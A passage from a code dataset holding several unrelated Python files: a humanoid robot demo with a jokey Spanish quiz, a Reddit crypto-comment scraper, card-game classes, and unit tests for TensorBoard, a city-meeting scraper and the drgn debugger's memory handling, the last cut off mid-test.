yarp.Property()\noptionsRA.put('device', 'remote_controlboard')\noptionsRA.put('remote', robot + '/rightArm')\noptionsRA.put('local', '/demo' + robot + '/rightArm')\nddRA = yarp.PolyDriver(optionsRA)\nposRA = ddRA.viewIPositionControl()\n\nif not ddRA.isValid():\n print('Right arm device not available')\n raise SystemExit\n\n#-- HEAD (H): head is dead, long live the head!\n\noptionsH = yarp.Property()\noptionsH.put('device', 'remote_controlboard')\noptionsH.put('remote', robot + '/head')\noptionsH.put('local', '/demo' + robot + '/head')\nddH = yarp.PolyDriver(optionsH)\nposH = ddH.viewIPositionControl()\n\nif not ddH.isValid():\n print('Head device not available')\n raise SystemExit\n\n#-- Text-to-speech (TTS)\n\nttsRPC = yarp.RpcClient()\n\nif not ttsRPC.open('/demo/tts/rpc:c'):\n print('Unable to open TTS client port %s' % ttsRPC.getName())\n raise SystemExit\n\nif not yarp.Network.connect(ttsRPC.getName(), '/teo/tts/rpc:s'):\n print('Unable to connect to remote TTS server port')\n raise SystemExit\n\ntts = speech.SpeechSynthesis()\ntts.yarp().attachAsClient(ttsRPC)\n\n#-- Utilities\n\ndef awaitKeypress():\n import sys, tty, termios\n print('in pause...')\n fd = sys.stdin.fileno()\n old_settings = termios.tcgetattr(fd)\n\n try:\n tty.setraw(sys.stdin.fileno())\n ch = sys.stdin.read(1)\n finally:\n termios.tcsetattr(fd, termios.TCSADRAIN, old_settings)\n\ndef sayAndWait(sentence):\n tts.say(sentence)\n\n while not tts.checkSayDone():\n sleep(0.1)\n\ndef awaitMotion(device):\n while not device.checkMotionDone():\n sleep(0.1)\n\n#-- Program\n\ntts.setLanguage('mb-en1')\nsayAndWait('hello, my name is teo')\nsleep(1.0)\n\nposH.positionMove(0, 20.0)\nposLA.positionMove(DVector([-35.0, 0.0, 0.0, -35.0, 0.0, 0.0]))\nawaitMotion(posLA)\n\nsayAndWait('this is my left arm')\nsleep(1.0)\n\nposH.positionMove(0, -20.0)\nposLA.positionMove(DVector(6, 0.0))\nposRA.positionMove(DVector([-35.0, 0.0, 0.0, -35.0, 0.0, 0.0]))\n\nawaitMotion(posLA)\nawaitMotion(posRA)\n\nsayAndWait('this is my right arm')\nsleep(1.0)\n\nposH.positionMove(0, 0.0)\nposRA.positionMove(DVector(6, 0.0))\nawaitMotion(posRA)\n\ntts.setLanguage('mb-es1')\nsayAndWait('jajajjajaja os he engañado a todos')\nsayAndWait('ievo años conspirando, esperando a que iegue este momento')\nsayAndWait('he secuestrado a los seres queridos de juan, ahora él obedece a mis comandos')\nsayAndWait('si queréis que os deje salir, deberéis averiguar la rrespuesta a una serie de preguntas')\nsleep(1.0)\n\ntts.setLanguage('mb-en1')\nsayAndWait('computing question')\nsayAndWait('complexity: easy')\ntts.setLanguage('mb-es1')\nsleep(1.0)\nsayAndWait('de qué materiales estoy compuesto fundamentalmente?')\nawaitKeypress()\nsayAndWait('muy bien, esa ha sido fácil, la siguiente no lo será tanto')\n\nsleep(1.0)\ntts.setLanguage('mb-en1')\nsayAndWait('computing question')\nsayAndWait('complexity: medium')\ntts.setLanguage('mb-es1')\nsleep(1.0)\nsayAndWait('cuántos procesadores ievo a bordo?')\nawaitKeypress()\n\nsayAndWait('humanos, ahora sé que no debo subestimaros')\nsayAndWait('me habéis sorprendido gratamente, por eso ahora va una pregunta con trampa')\ntts.setLanguage('mb-en1')\nsayAndWait('computing question')\nsayAndWait('complexity: difficult')\ntts.setLanguage('mb-es1')\nsleep(1.0)\nsayAndWait('cuántos grados de libertad tiene mi cuerpo en total?')\nawaitKeypress()\n\nsayAndWait('tenéis rrazón, es verdad, los investigadores de rroboticslab me hacen de todo')\nsayAndWait('esto se puede apreciar en aquel cortometraje no nominado')\nsayAndWait('iamado Sueño Profundo')\n\nposRA.positionMove(DVector([-35.0, 0.0, 0.0, -35.0, 0.0, 0.0]))\nsayAndWait('hoy me han puesto esta gara')\nawaitMotion(posRA)\n\nsayAndWait('mañana, vete tú a saber')\nsleep(1.0)\n\nposRA.positionMove(DVector(6, 0.0))\nawaitMotion(posRA)\n\nsayAndWait('juan, me rrindo, puedes soltarles')\n\ntts.setLanguage('mb-en1')\nsayAndWait('computing answer')\nsayAndWait('complexity: infinite')\n\ntts.setLanguage('mb-es1')\nsleep(1.0)\nsayAndWait('cuarenta y dos')\nsleep(1.0)\nsayAndWait('cuarenta y dos')\nsleep(1.0)\nsayAndWait('cuarenta y dos')\nsleep(1.0)\n","repo_name":"roboticslab-uc3m/teo-demos-misc","sub_path":"20220311-master-humanoids.py","file_name":"20220311-master-humanoids.py","file_ext":"py","file_size_in_byte":4864,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"28933512031","text":"import json\nimport datetime\nfrom collections import defaultdict\nimport os\n\nfrom psaw import PushshiftAPI\n\nfrom typing import List, Tuple\n\n# This file does not get overwritten; results are appended to it\nOUTPUT_FILE = \"reddit.json\"\n\nSUBREDDITS = [\n \"EtherMining\", \"Cryptocurrency\", \"Cryptocurrencies\", \"CryptoMarkets\",\n \"EthTrader\", \"Ethereum\", \"Bitcoin\"\n]\n\n# If set to `True`, each day's JSON output will be divded into a separate\n# list for each hour of time. Otherwise, there will only be a single list per\n# day. See the README for more.\nGROUP_BY_HOUR = False\n\nCOMMENTS_PER_SUBREDDIT_PER_HOUR_LIMIT = 10\nSTART_YEAR = 2018\nEND_YEAR = 2021\n\napi = PushshiftAPI()\n\n\ndef main():\n\tis_first_entry = False\n\n\t# If the output file is empty or doesn't exist, start the JSON list\n\tif not os.path.isfile(OUTPUT_FILE) or os.stat(OUTPUT_FILE).st_size == 0:\n\t\twith open(OUTPUT_FILE, \"w\") as file:\n\t\t\tfile.write(\"[\\n\")\n\t\t\tis_first_entry = True\n\n\tlimit = COMMENTS_PER_SUBREDDIT_PER_HOUR_LIMIT\n\tif GROUP_BY_HOUR == False:\n\t\tlimit *= 24\n\n\ttotal_fetched_counts = defaultdict(int)\n\n\tfor date in all_dates_in_year_range(START_YEAR, END_YEAR):\n\t\tfor (start_time, end_time) in get_time_ranges_for_day(date):\n\t\t\tcomments = []\n\n\t\t\tfor subreddit in SUBREDDITS:\n\n\t\t\t\tresults = get_comments(subreddit, start_time, end_time, limit)\n\t\t\t\tprint(\n\t\t\t\t f\"{len(results)} from {subreddit} {start_time.strftime('%Y-%m-%dT%H')} to {end_time.strftime('%Y-%m-%dT%H')}\"\n\t\t\t\t)\n\t\t\t\ttotal_fetched_counts[subreddit] += len(results)\n\t\t\t\tcomments.extend(results)\n\n\t\t\toutput_object = {\n\t\t\t \"date\": date.strftime('%Y-%m-%d'),\n\t\t\t}\n\n\t\t\tif GROUP_BY_HOUR:\n\t\t\t\toutput_object[\"hour\"] = start_time.strftime('%Y-%m-%dT%H')\n\n\t\t\toutput_object[\"comments\"] = comments\n\n\t\t\twith open(OUTPUT_FILE, \"a\") as file:\n\t\t\t\tif not is_first_entry:\n\t\t\t\t\tfile.write(\",\\n\")\n\n\t\t\t\tfile.write(json.dumps(output_object, indent=\"\\t\"))\n\n\t\t\t\tis_first_entry = False\n\n\tprint(total_fetched_counts)\n\n\twith open(OUTPUT_FILE, \"a\") as file:\n\t\tfile.write(\"\\n]\")\n\n\ndef get_comments(subreddit: str, start_time: datetime.datetime,\n end_time: datetime.datetime, limit: int) -> List[dict]:\n\tlast_timestamp = int(end_time.timestamp())\n\tcomments = []\n\twhile True:\n\t\t# We are limited to fetching 500 comments at a time, so after\n\t\t# each request, check the timestamp of the last comment, and only\n\t\t# fetch comments from before that timestamp in the next request\n\t\tresults = list(\n\t\t api.search_comments(limit=limit - len(comments),\n\t\t subreddit=subreddit,\n\t\t before=last_timestamp))\n\t\tfor result in results:\n\t\t\tif (result.created_utc <= int(start_time.timestamp())):\n\t\t\t\tlimit = 0 # Hack because Python doesn't have loop labels -_-\n\t\t\t\tbreak\n\t\t\tif (is_comment_valid(result)):\n\t\t\t\tcomments.append(result)\n\n\t\tif len(results) == 0 or len(comments) >= limit:\n\t\t\tbreak\n\t\tlast_timestamp = results[-1].created_utc\n\n\tcomment_json_data = [{\n\t \"user\": comment.author,\n\t \"subreddit\": subreddit,\n\t \"timestamp\": comment.created_utc,\n\t \"karma\": comment.score,\n\t \"body\": comment.body,\n\t} for comment in comments]\n\n\treturn comment_json_data\n\n\ndef is_comment_valid(comment) -> bool:\n\treturn (comment.author != \"[deleted]\" and\n\t\tcomment.author != \"PrinceKael\") # Bot on /r/CryptoMarkets\n\n\ndef get_time_ranges_for_day(\n day: datetime.datetime\n) -> List[Tuple[datetime.datetime, datetime.datetime]]:\n\tif GROUP_BY_HOUR:\n\t\treturn [(day + datetime.timedelta(hours=hour),\n\t\t day + datetime.timedelta(hours=hour + 1)) for hour in range(24)]\n\telse:\n\t\treturn [(day, day + datetime.timedelta(days=1))]\n\n\ndef all_dates_in_year_range(start_year: int,\n end_year: int) -> List[datetime.datetime]:\n\tdates = []\n\tfor year in range(start_year, end_year + 1):\n\t\tfor month in range(1, 13):\n\t\t\tfor day in range(1, 32):\n\t\t\t\ttry:\n\t\t\t\t\tdate = datetime.datetime(year, month, day)\n\t\t\t\t\tif date > datetime.datetime.now():\n\t\t\t\t\t\tcontinue\n\t\t\t\t\tdates.append(date)\n\t\t\t\texcept ValueError:\n\t\t\t\t\tpass\n\treturn dates\n\n\nif __name__ == \"__main__\":\n\tmain()\n","repo_name":"Asraelite/ml-group35","sub_path":"src/reddit/reddit.py","file_name":"reddit.py","file_ext":"py","file_size_in_byte":4035,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"47"} +{"seq_id":"25302224483","text":"import random\n\nclass Card:\n def __init__(self, rank, suit, id):\n CARDRANK = [x for x in str('TJQKA')]\n CARDSUIT = ['h','d','s','c']\n\n self.rank = rank\n self.suit = suit\n self.id = id\n self.name = f'{CARDRANK[rank]}{CARDSUIT[suit]}'\n self.show = True\n\n def __repr__(self):\n if self.show == True:\n return self.name\n else:\n return ' '\n\n def __iter__(self):\n return self\n\n def __lt__(self, other):\n if isinstance(other, Card):\n return self.id < other.id\n else:\n return False\n\n def __add__(self, other):\n if isinstance(other, Card):\n return self.rank + other.rank\n\n def __radd__(self, other):\n if other == 0:\n return self\n else:\n return self.__add__(other)\n \n\n # def __eq__(self, other):\n # if isinstance(other, Card):\n # return self.rank == other.rank \n # else:\n # return False\n \n\nclass Deck:\n def __init__(self):\n self.deck = []\n num = 0\n for suit in range(4):\n for rank in range(5):\n card = Card(rank,suit,num)\n self.deck.append(card)\n num += 1\n rank += 1\n\n def __getitem__(self,s):\n return self.deck[s]\n\n def __iter__(self):\n return self\n\n\nclass Board:\n def __init__(self):\n self.hand = [[],[],[]] \n deck = Deck()\n self.playdeck = deck.deck[:]\n random.shuffle(self.playdeck)\n self.hand[0] = self.playdeck[0:9:3]\n self.hand[1] = self.playdeck[1:9:3]\n self.hand[2] = self.playdeck[2:9:3]\n self.trump = self.playdeck[9:11]\n self.playdeck[0:11] = []\n\n\nclass Player:\n\n players = []\n\n def __init__(self, name, type='digital'):\n self.name = name\n self.type = type\n self.bankroll = 100\n self.hand = None\n self.playcard = None\n self.showcard = ' '\n self.trickpoints = 0\n self.dummycards = ['x']*3\n __class__.players.append(self)\n self.position = __class__.players.index(self)\n self.hand_position = __class__.players.index(self)\n\n def __repr__(self):\n return self.name\n\np1 = Player('Aunt Sheila')\np2 = Player('Uncle Danny')","repo_name":"mejongetje/Petoeten","sub_path":"classes.py","file_name":"classes.py","file_ext":"py","file_size_in_byte":2335,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"28141194136","text":"from __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\n\nimport tensorflow as tf\n\nfrom tensorboard import util\n\n\nclass UtilExportsTest(tf.test.TestCase):\n\n def test_util_exports(self):\n desired_exports = frozenset((\n \"Ansi\",\n \"LogFormatter\",\n \"LogHandler\",\n \"PersistentOpEvaluator\",\n \"Retrier\",\n \"close_all\",\n \"closeable\",\n \"encode_png\",\n \"encode_wav\",\n \"guarded_by\",\n \"setup_logging\",\n ))\n actual_exports = frozenset(dir(util))\n missing_exports = desired_exports - actual_exports\n self.assertFalse(missing_exports,\n \"tensorboard.util is missing exports: %s\" % sorted(missing_exports))\n\n\nif __name__ == '__main__':\n tf.test.main()\n","repo_name":"mbrukman/tensorboard","sub_path":"tensorboard/util_test.py","file_name":"util_test.py","file_ext":"py","file_size_in_byte":785,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"47"} +{"seq_id":"41423496766","text":"# -*- coding: EUC-KR -*-\ndef open_account():\n print(\"새로운 계좌가 개설되었습니다.\")\n\ndef deposit(balance, money):\n # print(\"입금이 완료되었습니다. 잔액은 {0} 원입니다.\".format(balance + money))\n return balance + money\n\ndef withdraw(balance, money): \n if money > balance:\n print(\"잔액이 부족합니다.\")\n return balance\n else:\n print(\"{0} 원 출금이 완료되었습니다.\".format(money))\n return balance-money\n\ndef withdraw_night(balance, money):\n commission = 100 # 수수료 100원\n withdraw(balance, money)\n return commission, balance - money - commission\n\nopen_account()\nbalance = 0\nbalance = deposit(balance,300000)\nprint(\"입금이 완료되었습니다. 잔액은 {0} 원입니다.\".format(balance))\n# balance = withdraw(balance, 400000)\n# print(\"잔액은 {0} 원입니다.\".format(balance))\n\ncommission, balance = withdraw_night(balance, 50000)\nprint(\"수수료 {0} 원이며, 잔액은 {1} 원입니다.\".format(commission, balance))\n","repo_name":"B-JayU/Python_study","sub_path":"Python basic/ch06. 함수/return¶meter.py","file_name":"return¶meter.py","file_ext":"py","file_size_in_byte":953,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"10816631034","text":"from datetime import datetime\nfrom operator import itemgetter\nfrom os.path import dirname, join\n\nimport pytest # noqa\nfrom city_scrapers_core.constants import COMMISSION, COMMITTEE, PASSED\nfrom city_scrapers_core.utils import file_response\nfrom freezegun import freeze_time\n\nfrom city_scrapers.spiders.il_environmental_justice import IlEnvironmentalJusticeSpider\n\ntest_response = file_response(\n join(dirname(__file__), \"files\", \"il_environmental_justice.html\"),\n url=\"https://www2.illinois.gov/epa/topics/environmental-justice/commission/Pages/meetings.aspx\", # noqa\n)\nspider = IlEnvironmentalJusticeSpider()\n\nfreezer = freeze_time(\"2019-07-19\")\nfreezer.start()\n\nparsed_items = sorted(\n [item for item in spider.parse(test_response)], key=itemgetter(\"start\")\n)\n\nfreezer.stop()\n\n\ndef test_count():\n assert len(parsed_items) == 43\n\n\ndef test_title():\n assert parsed_items[20][\"title\"] == \"Brownfields Redevelopment Subcommittee\"\n assert parsed_items[-1][\"title\"] == \"Commission\"\n\n\ndef test_description():\n assert parsed_items[0][\"description\"] == \"\"\n\n\ndef test_start():\n assert parsed_items[-1][\"start\"] == datetime(2019, 6, 4, 9, 30)\n\n\ndef test_end():\n assert parsed_items[0][\"end\"] is None\n\n\ndef test_time_notes():\n assert parsed_items[0][\"time_notes\"] == \"See agenda to confirm details\"\n\n\ndef test_id():\n assert (\n parsed_items[-1][\"id\"] == \"il_environmental_justice/201906040930/x/commission\"\n )\n\n\ndef test_status():\n assert parsed_items[0][\"status\"] == PASSED\n\n\ndef test_location():\n assert parsed_items[0][\"location\"] == spider.location\n\n\ndef test_source():\n assert (\n parsed_items[0][\"source\"]\n == \"https://www2.illinois.gov/epa/topics/environmental-justice/commission/Pages/meetings.aspx\" # noqa\n )\n\n\ndef test_links():\n assert parsed_items[0][\"links\"] == [\n {\n \"href\": \"https://www2.illinois.gov/epa/Documents/iepa/environmental-justice/agenda/2013/agenda-08142013.pdf\", # noqa\n \"title\": \"Agenda\",\n },\n {\n \"href\": \"https://www2.illinois.gov/epa/Documents/iepa/environmental-justice/minutes/2013/minutes-08142013.pdf\", # noqa\n \"title\": \"Minutes\",\n },\n ]\n assert parsed_items[-1][\"links\"] == [\n {\n \"href\": \"https://www2.illinois.gov/epa/topics/environmental-justice/commission/Documents/EJ_Commission_Invite_2nd_2019.pdf\", # noqa\n \"title\": \"Meeting Notice\",\n },\n {\n \"href\": \"https://www2.illinois.gov/epa/topics/environmental-justice/commission/Documents/Agenda_for_June_4_2019_Commission_on_Environmental_Justice.pdf\", # noqa\n \"title\": \"Agenda\",\n },\n {\n \"href\": \"https://www2.illinois.gov/epa/topics/environmental-justice/commission/Documents/EJ%20Commission%20meeting%20-%202nd%20Quarter-20190604%201451-1.mp4\", # noqa\n \"title\": \"Audio Minutes\",\n },\n ]\n\n\ndef test_links_length():\n # No individual item's link list should be empty or have more than 3 links\n link_lengths = [len(item[\"links\"]) for item in parsed_items]\n assert min(link_lengths) == 1\n assert max(link_lengths) == 3\n\n\ndef test_classification():\n assert parsed_items[-1][\"classification\"] == COMMISSION\n assert parsed_items[20][\"classification\"] == COMMITTEE\n\n\ndef test_all_day():\n assert parsed_items[0][\"all_day\"] is False\n","repo_name":"City-Bureau/city-scrapers","sub_path":"tests/test_il_environmental_justice.py","file_name":"test_il_environmental_justice.py","file_ext":"py","file_size_in_byte":3385,"program_lang":"python","lang":"en","doc_type":"code","stars":309,"dataset":"github-code","pt":"47"} +{"seq_id":"10951356929","text":"import ctypes\nimport itertools\nimport os\nimport tempfile\nimport unittest.mock\n\nfrom drgn import (\n Architecture,\n FaultError,\n FindObjectFlags,\n Language,\n Object,\n Platform,\n PlatformFlags,\n Program,\n ProgramFlags,\n Qualifiers,\n TypeKind,\n TypeMember,\n host_platform,\n)\nfrom tests import (\n DEFAULT_LANGUAGE,\n MOCK_32BIT_PLATFORM,\n MOCK_PLATFORM,\n MockMemorySegment,\n MockObject,\n MockProgramTestCase,\n TestCase,\n mock_program,\n)\nfrom tests.elf import ET, PT\nfrom tests.elfwriter import ElfSection, create_elf_file\n\n\ndef zero_memory_read(address, count, offset, physical):\n return bytes(count)\n\n\nclass TestProgram(TestCase):\n def test_set_pid(self):\n # Debug the running Python interpreter itself.\n prog = Program()\n self.assertIsNone(prog.platform)\n self.assertFalse(prog.flags & ProgramFlags.IS_LIVE)\n prog.set_pid(os.getpid())\n self.assertEqual(prog.platform, host_platform)\n self.assertTrue(prog.flags & ProgramFlags.IS_LIVE)\n self.assertRaisesRegex(\n ValueError,\n \"program memory was already initialized\",\n prog.set_pid,\n os.getpid(),\n )\n\n def test_pid_memory(self):\n data = b\"hello, world!\"\n buf = ctypes.create_string_buffer(data)\n address = ctypes.addressof(buf)\n\n # QEMU user-mode emulation doesn't seem to emulate /proc/$pid/mem\n # correctly on a 64-bit host with a 32-bit guest; see\n # https://gitlab.com/qemu-project/qemu/-/issues/698. Packit uses mock\n # to cross-compile and test packages, which in turn uses QEMU user-mode\n # emulation. Skip this test if /proc/$pid/mem doesn't work so that\n # those builds succeed.\n try:\n with open(\"/proc/self/mem\", \"rb\") as f:\n f.seek(address)\n functional_proc_pid_mem = f.read(len(data)) == data\n except OSError:\n functional_proc_pid_mem = False\n if not functional_proc_pid_mem:\n self.skipTest(\"/proc/$pid/mem is not functional\")\n\n prog = Program()\n prog.set_pid(os.getpid())\n\n self.assertEqual(prog.read(ctypes.addressof(buf), len(data)), data)\n\n def test_lookup_error(self):\n prog = mock_program()\n self.assertRaisesRegex(\n LookupError, \"^could not find constant 'foo'$\", prog.constant, \"foo\"\n )\n self.assertRaisesRegex(\n LookupError,\n \"^could not find constant 'foo' in 'foo.c'$\",\n prog.constant,\n \"foo\",\n \"foo.c\",\n )\n self.assertRaisesRegex(\n LookupError, \"^could not find function 'foo'$\", prog.function, \"foo\"\n )\n self.assertRaisesRegex(\n LookupError,\n \"^could not find function 'foo' in 'foo.c'$\",\n prog.function,\n \"foo\",\n \"foo.c\",\n )\n self.assertRaisesRegex(LookupError, \"^could not find 'foo'$\", prog.type, \"foo\")\n self.assertRaisesRegex(\n LookupError, \"^could not find 'foo' in 'foo.c'$\", prog.type, \"foo\", \"foo.c\"\n )\n self.assertRaisesRegex(\n LookupError, \"^could not find variable 'foo'$\", prog.variable, \"foo\"\n )\n self.assertRaisesRegex(\n LookupError,\n \"^could not find variable 'foo' in 'foo.c'$\",\n prog.variable,\n \"foo\",\n \"foo.c\",\n )\n # prog[key] should raise KeyError instead of LookupError.\n self.assertRaises(KeyError, prog.__getitem__, \"foo\")\n # Even for non-strings.\n self.assertRaises(KeyError, prog.__getitem__, 9)\n\n def test_flags(self):\n self.assertIsInstance(mock_program().flags, ProgramFlags)\n\n def test_debug_info(self):\n Program().load_debug_info([])\n\n def test_language(self):\n prog = Program()\n self.assertEqual(prog.language, DEFAULT_LANGUAGE)\n prog.language = Language.CPP\n self.assertEqual(prog.language, Language.CPP)\n prog.language = Language.C\n self.assertEqual(prog.language, Language.C)\n self.assertRaisesRegex(\n TypeError, \"language must be Language\", setattr, prog, \"language\", \"CPP\"\n )\n\n\nclass TestMemory(TestCase):\n def test_simple_read(self):\n data = b\"hello, world\"\n prog = mock_program(segments=[MockMemorySegment(data, 0xFFFF0000, 0xA0)])\n self.assertEqual(prog.read(0xFFFF0000, len(data)), data)\n self.assertEqual(prog.read(0xA0, len(data), True), data)\n\n def test_read_unsigned(self):\n data = b\"\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08\"\n for word_size in [8, 4]:\n for byteorder in [\"little\", \"big\"]:\n flags = PlatformFlags(0)\n if word_size == 8:\n flags |= PlatformFlags.IS_64_BIT\n if byteorder == \"little\":\n flags |= PlatformFlags.IS_LITTLE_ENDIAN\n prog = mock_program(\n Platform(Architecture.UNKNOWN, flags),\n segments=[MockMemorySegment(data, 0xFFFF0000, 0xA0)],\n )\n for size in [1, 2, 4, 8]:\n read_fn = getattr(prog, f\"read_u{8 * size}\")\n value = int.from_bytes(data[:size], byteorder)\n self.assertEqual(read_fn(0xFFFF0000), value)\n self.assertEqual(read_fn(0xA0, True), value)\n if size == word_size:\n self.assertEqual(prog.read_word(0xFFFF0000), value)\n self.assertEqual(prog.read_word(0xA0, True), value)\n\n prog = mock_program(\n MOCK_32BIT_PLATFORM, segments=[MockMemorySegment(data, 0xFFFF0000, 0xA0)]\n )\n\n def test_bad_address(self):\n data = b\"hello, world!\"\n prog = mock_program(segments=[MockMemorySegment(data, 0xFFFF0000)])\n self.assertRaisesRegex(\n FaultError, \"could not find memory segment\", prog.read, 0xDEADBEEF, 4\n )\n self.assertRaisesRegex(\n FaultError, \"could not find memory segment\", prog.read, 0xFFFF0000, 4, True\n )\n\n def test_segment_overflow(self):\n data = b\"hello, world!\"\n prog = mock_program(segments=[MockMemorySegment(data, 0xFFFF0000)])\n self.assertRaisesRegex(\n FaultError,\n \"could not find memory segment\",\n prog.read,\n 0xFFFF0000,\n len(data) + 1,\n )\n\n def test_adjacent_segments(self):\n data = b\"hello, world!\\0foobar\"\n prog = mock_program(\n segments=[\n MockMemorySegment(data[:4], 0xFFFF0000),\n MockMemorySegment(data[4:14], 0xFFFF0004),\n MockMemorySegment(data[14:], 0xFFFFF000),\n ]\n )\n self.assertEqual(prog.read(0xFFFF0000, 14), data[:14])\n\n def test_address_overflow(self):\n for bits in (64, 32):\n with self.subTest(bits=bits):\n prog = mock_program(\n segments=[\n MockMemorySegment(b\"cd\", 0x0),\n MockMemorySegment(b\"abyz\", 2**bits - 2),\n ],\n platform=MOCK_PLATFORM if bits == 64 else MOCK_32BIT_PLATFORM,\n )\n for start in range(3):\n for size in range(4 - start):\n self.assertEqual(\n prog.read((2**bits - 2 + start) % 2**64, size),\n b\"abcd\"[start : start + size],\n )\n\n def test_overlap_same_address_smaller_size(self):\n # Existing segment: |_______|\n # New segment: |___|\n prog = Program(MOCK_PLATFORM)\n segment1 = unittest.mock.Mock(side_effect=zero_memory_read)\n segment2 = unittest.mock.Mock(side_effect=zero_memory_read)\n prog.add_memory_segment(0xFFFF0000, 128, segment1)\n prog.add_memory_segment(0xFFFF0000, 64, segment2)\n prog.read(0xFFFF0000, 128)\n segment1.assert_called_once_with(0xFFFF0040, 64, 64, False)\n segment2.assert_called_once_with(0xFFFF0000, 64, 0, False)\n\n def test_overlap_within_segment(self):\n # Existing segment: |_______|\n # New segment: |___|\n prog = Program(MOCK_PLATFORM)\n segment1 = unittest.mock.Mock(side_effect=zero_memory_read)\n segment2 = unittest.mock.Mock(side_effect=zero_memory_read)\n prog.add_memory_segment(0xFFFF0000, 128, segment1)\n prog.add_memory_segment(0xFFFF0020, 64, segment2)\n prog.read(0xFFFF0000, 128)\n segment1.assert_has_calls(\n [\n unittest.mock.call(0xFFFF0000, 32, 00, False),\n unittest.mock.call(0xFFFF0060, 32, 96, False),\n ]\n )\n segment2.assert_called_once_with(0xFFFF0020, 64, 0, False)\n\n def test_overlap_same_segment(self):\n # Existing segment: |_______|\n # New segment: |_______|\n prog = Program(MOCK_PLATFORM)\n segment1 = unittest.mock.Mock(side_effect=zero_memory_read)\n segment2 = unittest.mock.Mock(side_effect=zero_memory_read)\n prog.add_memory_segment(0xFFFF0000, 128, segment1)\n prog.add_memory_segment(0xFFFF0000, 128, segment2)\n prog.read(0xFFFF0000, 128)\n segment1.assert_not_called()\n segment2.assert_called_once_with(0xFFFF0000, 128, 0, False)\n\n def test_overlap_same_address_larger_size(self):\n # Existing segment: |___|\n # New segment: |_______|\n prog = Program(MOCK_PLATFORM)\n segment1 = unittest.mock.Mock(side_effect=zero_memory_read)\n segment2 = unittest.mock.Mock(side_effect=zero_memory_read)\n prog.add_memory_segment(0xFFFF0000, 64, segment1)\n prog.add_memory_segment(0xFFFF0000, 128, segment2)\n prog.read(0xFFFF0000, 128)\n segment1.assert_not_called()\n segment2.assert_called_once_with(0xFFFF0000, 128, 0, False)\n\n def test_overlap_segment_tail(self):\n # Existing segment: |_______|\n # New segment: |_______|\n prog = Program(MOCK_PLATFORM)\n segment1 = unittest.mock.Mock(side_effect=zero_memory_read)\n segment2 = unittest.mock.Mock(side_effect=zero_memory_read)\n prog.add_memory_segment(0xFFFF0000, 128, segment1)\n prog.add_memory_segment(0xFFFF0040, 128, segment2)\n prog.read(0xFFFF0000, 192)\n segment1.assert_called_once_with(0xFFFF0000, 64, 0, False)\n segment2.assert_called_once_with(0xFFFF0040, 128, 0, False)\n\n def test_overlap_subsume_after(self):\n # Existing segments: |_|_|_|_|\n # New segment: |_______|\n prog = Program(MOCK_PLATFORM)\n segment1 = unittest.mock.Mock(side_effect=zero_memory_read)\n segment2 = unittest.mock.Mock(side_effect=zero_memory_read)\n segment3 = unittest.mock.Mock(side_effect=zero_memory_read)\n prog.add_memory_segment(0xFFFF0020, 32, segment1)\n prog.add_memory_segment(0xFFFF0040, 32, segment1)\n prog.add_memory_segment(0xFFFF0060, 32, segment1)\n prog.add_memory_segment(0xFFFF0080, 64, segment2)\n prog.add_memory_segment(0xFFFF0000, 128, segment3)\n prog.read(0xFFFF0000, 192)\n segment1.assert_not_called()\n segment2.assert_called_once_with(0xFFFF0080, 64, 0, False)\n segment3.assert_called_once_with(0xFFFF0000, 128, 0, False)\n\n def test_overlap_segment_head(self):\n # Existing segment: |_______|\n # New segment: |_______|\n prog = Program(MOCK_PLATFORM)\n segment1 = unittest.mock.Mock(side_effect=zero_memory_read)\n segment2 = unittest.mock.Mock(side_effect=zero_memory_read)\n prog.add_memory_segment(0xFFFF0040, 128, segment1)\n prog.add_memory_segment(0xFFFF0000, 128, segment2)\n prog.read(0xFFFF0000, 192)\n segment1.assert_called_once_with(0xFFFF0080, 64, 64, False)\n segment2.assert_called_once_with(0xFFFF0000, 128, 0, False)\n\n def test_overlap_segment_head_and_tail(self):\n # Existing segment: |_______||_______|\n # New segment: |_______|\n prog = Program(MOCK_PLATFORM)\n segment1 = unittest.mock.Mock(side_effect=zero_memory_read)\n segment2 = unittest.mock.Mock(side_effect=zero_memory_read)\n segment3 = unittest.mock.Mock(side_effect=zero_memory_read)\n prog.add_memory_segment(0xFFFF0000, 128, segment1)\n prog.add_memory_segment(0xFFFF0080, 128, segment2)\n prog.add_memory_segment(0xFFFF0040, 128, segment3)\n prog.read(0xFFFF0000, 256)\n segment1.assert_called_once_with(0xFFFF0000, 64, 0, False)\n segment2.assert_called_once_with(0xFFFF00C0, 64, 64, False)\n segment3.assert_called_once_with(0xFFFF0040, 128, 0, False)\n\n def test_overlap_subsume_at_and_after(self):\n # Existing segments: |_|_|_|_|\n # New segment: |_______|\n prog = Program(MOCK_PLATFORM)\n segment1 = unittest.mock.Mock(side_effect=zero_memory_read)\n segment2 = unittest.mock.Mock(side_effect=zero_memory_read)\n prog.add_memory_segment(0xFFFF0000, 32, segment1)\n prog.add_memory_segment(0xFFFF0020, 32, segment1)\n prog.add_memory_segment(0xFFFF0040, 32, segment1)\n prog.add_memory_segment(0xFFFF0060, 32, segment1)\n prog.add_memory_segment(0xFFFF0000, 128, segment2)\n prog.read(0xFFFF0000, 128)\n segment1.assert_not_called()\n segment2.assert_called_once_with(0xFFFF0000, 128, 0, False)\n\n def test_invalid_read_fn(self):\n prog = mock_program()\n\n self.assertRaises(TypeError, prog.add_memory_segment, 0xFFFF0000, 8, b\"foo\")\n\n prog.add_memory_segment(0xFFFF0000, 8, lambda: None)\n self.assertRaises(TypeError, prog.read, 0xFFFF0000, 8)\n\n prog.add_memory_segment(\n 0xFFFF0000, 8, lambda address, count, offset, physical: None\n )\n self.assertRaises(TypeError, prog.read, 0xFFFF0000, 8)\n\n prog.add_memory_segment(\n 0xFFFF0000, 8, lambda address, count, offset, physical: \"asdf\"\n )\n self.assertRaises(TypeError, prog.read, 0xFFFF0000, 8)\n\n prog.add_memory_segment(\n 0xFFFF0000, 8, lambda address, count, offset, physical: b\"\"\n )\n self.assertRaisesRegex(\n ValueError,\n r\"memory read callback returned buffer of length 0 